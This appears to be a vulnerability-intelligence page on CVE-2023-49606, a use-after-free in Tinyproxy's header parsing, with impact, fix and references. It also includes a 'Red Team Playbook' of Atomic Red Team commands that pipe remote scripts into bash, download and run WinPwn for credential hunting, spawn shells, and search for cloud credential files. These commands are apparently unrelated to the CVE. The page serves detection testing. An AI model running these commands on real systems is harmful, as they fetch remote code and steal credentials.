CVE-2023-49606
Overview
This vulnerability is a use-after-free condition occurring within the HTTP Connection Headers parsing logic of Tinyproxy versions 1.10.0 and 1.11.1. The root cause lies in improper memory management where previously freed memory is accessed again during header processing. The affected component is the HTTP request handling module responsible for parsing connection headers.
Vulnerability Description
A use-after-free vulnerability exists in the HTTP Connection Headers parsing in Tinyproxy 1.11.1 and Tinyproxy 1.10.0. A specially crafted HTTP header can trigger reuse of previously freed memory, which leads to memory corruption and could lead to remote code execution. An attacker needs to make an unauthenticated HTTP request to trigger this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted HTTP requests to the Tinyproxy server, resulting in memory corruption that may enable remote code execution. No privileges or user interaction are required (AV:N/AC:L/PR:N/UI:N), allowing full compromise of the affected system. This can lead to unauthorized control, data breach, or service disruption in environments utilizing vulnerable Tinyproxy versions.
Solution
Users should upgrade Tinyproxy to a version later than 1.11.1 where the issue is resolved, as detailed in the Talos advisory TALOS-2023-1889 (https://talosintelligence.com/vulnerability_reports/TALOS-2023-1889). The advisory provides patch instructions and confirms the fix. No workarounds are officially recommended. Administrators should apply the update promptly to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the HTTP Connection Headers parsing mechanism of specific versions of Tinyproxy, a widely used lightweight proxy server. This flaw is categorized as a use-after-free vulnerability, which occurs when a program continues to use a pointer after the memory it points to has been freed. In this case, the vulnerability arises when a specially crafted HTTP header is processed, leading to the reuse of previously freed memory. This can result in memory corruption, which may ultimately allow an attacker to execute arbitrary code on the affected system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to systems running the affected versions of Tinyproxy.
Exploitation of this vulnerability can occur through unauthenticated HTTP requests, making it particularly dangerous as it does not require any form of authentication or prior access to the target system. An attacker could craft a malicious HTTP request that includes specially formatted headers designed to trigger the use-after-free condition. Once the memory corruption occurs, the attacker can manipulate the execution flow of the application, potentially leading to remote code execution. This means that an attacker could gain control over the server running Tinyproxy, which could be leveraged for various malicious activities, including data exfiltration, service disruption, or further network compromise.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on Tinyproxy for web traffic management. If successfully exploited, an attacker could gain unauthorized access to sensitive data or systems, leading to significant business risks such as data breaches, loss of customer trust, and potential regulatory penalties. The ability to execute arbitrary code remotely also raises concerns about the integrity and availability of the services provided by the affected proxy server. Organizations may face operational disruptions, financial losses, and reputational damage as a result of a successful attack.
To detect and mitigate this vulnerability, organizations should prioritize updating to the latest versions of Tinyproxy that have addressed this issue. Regularly applying security patches is a fundamental practice in maintaining the security posture of any system. In addition to updating software, organizations should implement robust monitoring solutions that can detect unusual patterns of HTTP traffic that may indicate exploitation attempts. Network intrusion detection systems (NIDS) can be configured to alert administrators to suspicious requests that deviate from normal traffic patterns. Furthermore, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the proxy server.
In conclusion, the use-after-free vulnerability in Tinyproxy presents a significant threat to organizations utilizing this proxy server. The ease of exploitation through unauthenticated requests, combined with the potential for severe consequences, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and security of their network environments.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the CVE-2023-49606 vulnerability in Tinyproxy. Our telemetry indicates the emergence of new proof-of-concept exploits circulating within threat actor communities, which correlates with a sharp increase in detection activity from our sensors. This development significantly raises the likelihood of active exploitation in the wild, elevating the threat from theoretical to practical. For defenders, this shift underscores an urgent need to prioritize monitoring and response efforts around Tinyproxy deployments, as the vulnerability’s unauthenticated attack vector facilitates remote compromise with minimal attacker effort. Although the EPSS score remains stable, the qualitative surge in exploitation attempts signals an elevated operational risk, warranting heightened vigilance and accelerated mitigation measures.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tinyproxy Project | Tinyproxy | 1.10.0 |
cpe:2.3:a:tinyproxy_project:tinyproxy:1.10.0:*:*:*:*:*:*:*
|
|
|
Tinyproxy Project | Tinyproxy | 1.11.1 |
cpe:2.3:a:tinyproxy_project:tinyproxy:1.11.1:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
d0rb/CVE-2023-49606
Critical use-after-free vulnerability discovered in Tinyproxy
|
d0rb | 4 | 0 | 2024-05-07 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-49606 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2023-1889 |
| openwall.com |
GitHub CVE
|
http://www.openwall.com/lists/oss-security/2024/05/07/1 |
| lists.debian.org |
NVD API
|
https://lists.debian.org/debian-lts-announce/2024/09/msg00035.html |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1889 |